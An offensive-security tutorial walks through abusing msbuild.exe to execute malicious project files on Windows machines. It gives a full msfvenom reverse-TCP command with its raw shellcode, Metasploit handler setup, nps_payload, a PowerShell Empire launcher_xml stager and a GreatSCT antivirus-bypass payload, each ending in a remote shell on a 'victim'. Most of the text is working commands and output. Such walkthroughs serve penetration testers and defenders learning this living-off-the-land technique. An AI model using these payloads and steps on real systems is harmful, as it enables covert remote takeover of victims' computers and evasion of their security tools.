

Windows Exploitation msbuild

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Introduction to MSbuild.exe

The Microsoft Build Engine is a platform for building applications. This engine, which is also known as **MSBuild**, provides an XML schema for a project file that controls how the build platform processes and builds software. Visual Studio uses MSBuild, but it doesn't depend on Visual Studio. By invoking msbuild.exe on your project or solution file, you can organise and build products in environments where Visual Studio isn't installed.

Visual Studio uses MSBuild to load and build managed projects. The project files in Visual Studio (.csproj, .vcproj, .vcproj, and others) contain MSBuild XML code.

Exploiting Techniques:

Generate CSharp file with Msfvenom

We use Microsoft Visual Studio to create C # (C Sharp) programming project with a ***.csproj** suffix that saved in MSBuild format so that it can be compiled with the MSBuild platform into an executable program.

With the help of a malicious build, we can obtain a reverse shell of the victim's machine. Therefore, now we will generate our file.csproj file and for that, first generate a shellcode of c# via msfvenom. Then later that shellcode will be placed inside our file.csproj as given below.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f csharp

| <pre>root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f csharp</pre> |
|--|
| [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload 🛛 🔥 |
| [-] No arch selected, selecting arch: x86 from the payload |
| No encoder or badchars specified, outputting raw payload |
| Payload size: 341 bytes |
| Final size of csharp file: 1759 bytes 🛛 🚽 |
| byte[] buf = new byte[341] { |
| 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, |
| 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, |
| 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52, |
| 0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, |
| 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, |
| 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, |
| 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, |
| 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, |
| 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, |
| 0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c, |
| 0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54, |
| 0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0xc0,0xa8,0x01,0x6d, |
| 0x68,0x02,0x00,0x04,0xd2,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50, |
| 0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5, |
| 0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x67, |
| 0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff, |
| 0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00, |
| 0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56, |
| 0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58, |
| 0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5, |
| 0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85, |
| 0x70,0xff,0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc1, |
| 0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5 }; |



The shellcode generated above should be placed in the XML file and you can download this XML file from **GitHub**, which has the code that the MSBuild compiles and executes. This XML file should be saved as. **file.csproj** and must be run via MSBuild to get a Meterpreter session.

Note: Replace the shellcode value from your C# shellcode and then rename buf as shellcode as shown in the below image.

cat file.csproj





You can run MSBuild from Visual Studio, or from the Command Window. By using Visual Studio, you can compile an application to run on any one of several versions of the .NET Framework.

For example, you can compile an application to run on the .NET Framework 2.0 on a 32-bit platform, and you can compile the same application to run on the .NET Framework 4.5 on a 64-bit platform. The ability to compile to more than one framework is called multitargeting.

To know more about MSBuild read from here:

//docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2015

Now launch multi handler to get a meterpreter session and run the file.csproj file with msbuild.exe at the target path: C:\Windows\Microsoft.Net\Framework\v4.0.30319 as shown.

Note: you need to save your malicious payload (XML / csproj) at this location:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.csproj

C:\Windows\Microsoft.NET\Framework\v4.0.30319\ and then execute this file with a command prompt.

:/Users\raj\Desktop>C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.csproj Microsoft (R) Build Engine version 4.7.3056.0 Đ [Microsoft .NET Framework, version 4.0.30319.42000] Copyright (C) Microsoft Corporation. All rights reserved. Build started 1/1/2019 7:18:09 PM.

As you can observe, we have the meterpreter session of the victim as shown below:



```
<u>sf</u> > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
lhost => 192.168.1.109
 isf exploit(multi/handler) > set lport 1234
lport => 1234
 isf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.109:1234
[*] Sending stage (179779 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.109:1234 -> 192.168.1.105:49433) at 2018-12
neterpreter > sysinfo
                      : DESKTOP-NQM64AS
Computer
                      : Windows 10 (Build 17134).
0S
Architecture
                     : x64
System Language : en US
                     : WORKGROUP
Domain
Logged On Users : 2
 leterpreter
                     : x86/windows
 eterpreter >
```

Generate XML file to Exploit MSBuild

As mentioned above, MSBuild uses an XML- based project file format that is straightforward and extensible, so we can rename the generated file.csproj as file.xml and again run the file.xml with msbuild.exe on the target path: C:\Windows\Microsoft.Net\Framework\v4.0.30319 as shown.

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.xml

C:\Users\raj\Desktop>C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.xml Microsoft (R) Build Engine version 4.7.3056.0 [Microsoft .NET Framework, version 4.0.30319.42000] Copyright (C) Microsoft Corporation. All rights reserved. Build started 1/1/2019 6:34:54 PM.

use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.1.109 set lport 1234 exploit sysinfo



As you can observe, we have the meterpreter session of the victim as shown below:



Nps_Payload Script

This script will generate payloads for basic intrusion detection and avoidance. It utilises publicly demonstrated techniques from several different sources. Larry Spohn (@Spoonman1091) wrote this.Ben Mauch (@Ben0xA) aka dirty_ben created the payload.You can download it from **GitHub**.

Nps_payload generates payloads that could be executed with msbuild.exe and mshta.exe to get the reverse connection of the victim's machine via the meterpreter session.

Follow the below step for generating payload:

- 1. Run ./nps_payload.py script, once you have downloaded nps payload from GitHub
- 2. Press key 1 to select task "generate msbuild/nps/msf"
- 3. Again Press key 1 to select payload "windows/meterpreter/reverse_tcp"

This will generate a payload in the XML file, send this file at target location C:\Windows\Microsoft.Net\Framework\v4.0.30319 as done in the previous method and simultaneously run below command in a new terminal to start the listener.

msfconsole -r msbuild_nps.rc



| root@kali:~/nps_payload# ./nps_payload.py 🚓 |
|--|
| ((() () ())))) (`) (`) (/())(() () () () () ())) / ///() / (//()) () () () (() (()) () (|
| v1.03 |
| Generate msbuild/nps/msf payload Generate msbuild/nps/msf HTA payload Quit |
| Select a task: 1 |
| Payload Selection: |
| (1) windows/meterpreter/reverse_tcp (2) windows/meterpreter/reverse_http (3) windows/meterpreter/reverse_https (4) Custom PS1 Payload |
| Select payload: 1 Enter Your Local IP Address (None): 192.168.1.107 Enter the listener port (443): [*] Generating PSH Payload [*] Generating MSF Resource Script [+] Metasploit resource script written to msbuild_nps.rc [+] Payload written to msbuild_nps.xml |
| <pre>1. Run "msfconsole -r msbuild_nps.rc" to start listener. 2. Choose a Deployment Option (a or b): - See README.md for more information. a. Local File Deployment:</pre> |
| Serving HTTP on 0.0.0.0 port 8080 192.168.1.105 - [13/Jan/2019 12:33:39] "GET / HTTP/1.1" 200 - |

Now repeat the above step to execute msbuild_nps.xml with command prompt and obtain a reverse connection via meterpreter as shown below:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe msbuild_nps.xml



```
[*] Processing msbuild nps.rc for ERB directives.
resource (msbuild nps.rc)> use multi/handler
resource (msbuild nps.rc)> set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse_tcp
resource (msbuild nps.rc)> set LHOST 192.168.1.107
LHOST => 192.168.1.107
esource (msbuild nps.rc)> set LPORT 443
LPORT => 443
resource (msbuild nps.rc)> set ExitOnSession false
ExitOnSession => false
resource (msbuild nps.rc)> set EnableStageEncoding true
EnableStageEncoding => true
resource (msbuild_nps.rc)> exploit -j -z
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.1.107:443
<u>isf</u> exploit(multi/handler) > [*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (179808 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened 192.168.1.107:443 -> 192.168.1.105:53976) at 2019-01-
isf exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
meterpreter > sysinfo
                 : DESKTOP-NQM64AS
Computer
0S
                 : Windows 10 (Build 17134).
Architecture
                : x64
System Language : en US
                 : WORKGROUP
Domain
Logged On Users : 2
                 : x86/windows
leterpreter
 eternreter
```

PowerShell Empire

For our next method of msbuild attack, we will use Empire. Empire is a post-exploitation framework. Till now, we have paired our XML tacks with Metasploit, but in this method, we will use the Empire framework. It's solely a python-based PowerShell Windows agent, which makes it quite useful. Empire was developed by @harmj0y, @sixdub, @enigma0x3, rvrsh3ll, @killswitch_gui, and @xorrior. You can download this framework here.

To have a basic guide of Empire, please visit our article introducing empire: https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/

Once the empire framework is started, type listener to check if there are any active listeners. As you can see in the image below that there are no active listeners. So to set up a listener type:

listeners uselistener http set Host //192.168.1.107 execute



With the above commands, you will have an active listener. Type back to go out of listener so that you can initiate your PowerShell.

For our MSBuild attack, we will use a stager. A stager, in the empire, is a snippet of code that allows our malicious code to be run via the agent on the compromised host. So, for this type:

usestager windows/launcher_xml set Listener http execute

Usestager will create a malicious code file that will be saved in the /tmp named "launcher.xml."

| · · · · · · · · · · · · · · · · · · · |
|---|
| 285 modules currently loaded |
| <pre>0 listeners currently active</pre> |
| <pre>@ agents currently active</pre> |
| <pre>(Empire) > listeners [!] No listeners currently active (Empire: listeners) > uselistener http (Empire: listeners/http) > set Host http://192.168.1.107 (Empire: listeners/http) > execute [*] Starting listener 'http' * Serving Flask app "http" (lazy loading) * Environment: production WARNING: Do not use the development server in a production environment. Use a production WSGI server instead. * Debug mode: off [+] Listener successfully started! (Empire: listeners) > usestager windows/launcher_xml (Empire: stager/windows/launcher_xml) > set Listener http (Empire: stager/windows/launcher_xml) > execute [*] Removing Launcher String</pre> |
| [*] Stager output written out to: /tmp/launcher.xml |
| <pre>(Empire: stager/windows/launcher_xml) ></pre> |



Once the file runs, we will have the result on our listener. Run the file in your victim's home by typing the following command:

cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\ MSBuild.exe launcher.xml

```
Microsoft Windows [Version 10.0.17134.523]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\raj>cd C:\Windows\Microsoft.NET\Framework\v4.0.30319>MSBuild.exe launcher.xml
Microsoft (R) Build Engine version 4.7.3056.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.
Build started 1/13/2019 11:23:07 PM.
Build started 1/13/2019 11:23:07 PM.
Build succeeded.
0 Warning(s)
0 Error(s)
Time Elapsed 00:00:00.62
```

To see if we have any open sessions, type "agents". Doing so will show you the name of the session you have. To access that session type:

interact A8H14C7L

The above command will give you access to the session.

sysinfo



| [+] Initial agent | t A8H14C7L from 192.168.1.105 now active (Slack) |
|-------------------|--|
| [*] Sending agent | t (stage 2) to A8H14C7L at 192.168.1.105 |
| (Empire: stager/w | vindows/launcher xml) > interact A8H14C7L 存 |
| (Empire: A8H14C7 | _) > sysinfo 📥 |
| [*] Tasked A8H14(| C7L to run TASK SYSINFO |
| [*] Agent A8H14C | 7L tasked with Task ID 1 |
| (Empire: A8H14C7 | .) > sysinfo: 0 http://192.168.1.107:80 DESKTOP-NOM64AS rai DESKTOP-NOM64AS |
| :b842 Microsoft W | Vindows 10 Enterprise False MSBuild 6532 powershell 5 |
| [*] Agent A8H14C | 7L returned results. |
| Listener: | http://192.168.1.107:80 |
| Internal IP: 2 | L92.168.10.1 fe80::90d0:4c4b:d967:4626 192.168.232.1 fe80::e826:8249:4ee0:1e |
| Username: | DESKTOP-NOM64AS\rai |
| Hostname: [| DESKTOP-NOM64AS |
| 0S: | Microsoft Windows 10 Enterprise |
| High Integrity: | 0 |
| Process Name: | MSBuild |
| Process ID: | 6532 |
| Language: | powershell |
| Language Version | 5 |
| [*] Valid results | s returned by 192.168.1.105 |

GreatSCT

GreatSCT is a tool that allows you to use Metasploit exploits and lets it bypass most anti-viruses. GreatSCT is current under support by @ConsciousHacker. You can download it from here: //github.com/GreatSCT/GreatSCT

use Bypass

Once it's downloaded and running, type the following command to access the modules:





Now to see the list of payloads type:

list

| Great Scott! | | | |
|---|--|--|--|
| [Web]: https://githu | ub.com/GreatSCT/GreatSCT [Twitter]: @ConsciousHacke | | |
| | | | |
| GreatSCT-Bypass Menu | | | |
| 26 payloads loaded | d | | |
| Available Commands: | | | |
| back checkvt clean exit info list use | Go to main GreatSCT menu Check virustotal against generated hashes Remove generated artifacts Exit GreatSCT Information on a specific payload List available payloads Use a specific payload | | |

Now from the list of payloads, you can choose anyone for your desired attack. But for this attack we will use:

use msbuild/meterpreter/rev_tcp.py





Once the command is executed, type:

set lhost 192.168.1.107 generate



| Great Scott! [Web]: https://github.com/GreatSCT/GreatSCT [Twitter]: @ConsciousHacker | | | | |
|---|---------------------------|--|--|--|
| | | | | |
| Name: | Pure MSBuil | d C# Reverse TCP Stager | | |
| Language: | msbuild | | | |
| Rating | Excellent | | | |
| Description: | pure window: shellcode | s/meterpreter/reverse_tcp stager, no | | |
| Payload: msbuild/meter | preter/rev_tc | p selected | | |
| Required Options: | | | | |
| Name | Value | Description | | |
| DOMATN | × | Ontional: Required internal domain | | |
| EXPIRE PAYLOAD | x | Optional: Pavloads expire after "Y" days | | |
| HOSTNAME | X | Optional: Required system hostname | | |
| INJECT METHOD | Virtual | Virtual or Heap | | |
| LHOST | | IP of the Metasploit handler | | |
| LPORT | 4444 | Port of the Metasploit handler | | |
| PROCESSORS | LIX NOTADI | Optional: Minimum number of processors | | |
| SLEEP UUUUU | X | Optional: Sleep "Y" seconds, check if accelerate دلمات | | |
| TIMEZONE | X | Optional: Check to validate not in UTC | | |
| JSERNAME | X | Optional: The required user account | | |
| Available Commands: | | | | |
| back | Go back | | | |
| exit | Completely | exit GreatSCT | | |
| generate | Generate the | e payload | | |
| options | Show the she | ellcode's options | | |
| set | Set shellco | de option | | |
| [msbuild/meterpreter/r | ev_tcp>>] set | lhost 192.168.1.107 🧲 | | |
| [mshuild/meterpreter/r | ev topsal good | erate | | |
| (msburtu/meterpreter/r | ev_tcp>>j gene | | | |

While generating the payload, it will ask you to give a name for the payload. By default, it will take the name "payload" as the name. We have given **msbuild** as a payload name where the output code will be saved in XML.



| ====== | Great Scott! |
|-------------|---|
| [Web |]: https://github.com/GreatSCT/GreatSCT [Twitter]: @ConsciousHacker |
| Please ent | er the base name for output files (default is payload): msbuild 🔥 👝 |
| | |
| | |
| | |
| Now, it has | two files. One Metasploit RC file and other a msbuild xml file.Now, firstly, start th |

Now, it has two files. One Metasploit RC file and other a msbuild.xml file.Now, firstly, start the python's server in /usr/share/greatsct-output/source by typing:

python -m SimpleHTTPServer 80

| Great Scott! |
|---|
| [Web]: https://github.com/GreatSCT/GreatSCT [Twitter]: @ConsciousHacker |
| <pre>[*] Language: msbuild [*] Payload Module: msbuild/meterpreter/rev_tcp [*] MSBuild compiles for us, so you just get xml :) [*] Source code written to: /usr/share/greatsct-output/source/msbuild.xml [*] Metasploit RC file written to: /usr/share/greatsct-output/handlers/msbuild.rc Please press enter to continue >:</pre> |

Run the file in your victim's by typing following command:

cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\ MSBuild.exe msbuild.xml



```
Microsoft Windows [Version 10.0.17134.523]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\raj>cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319
C:\Windows\Microsoft.NET\Framework64\v4.0.30319>MSBuild.exe msbuild.xml
C:\Windows\Microsoft (R) Build Engine version 4.7.3056.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.
Build started 1/15/2019 5:44:59 PM.
```

Simultaneously, start the multi/handler using the resource file. For this, type:

```
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
```

And voila! We have a meterpreter session as shown here.



Reference: //docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2017





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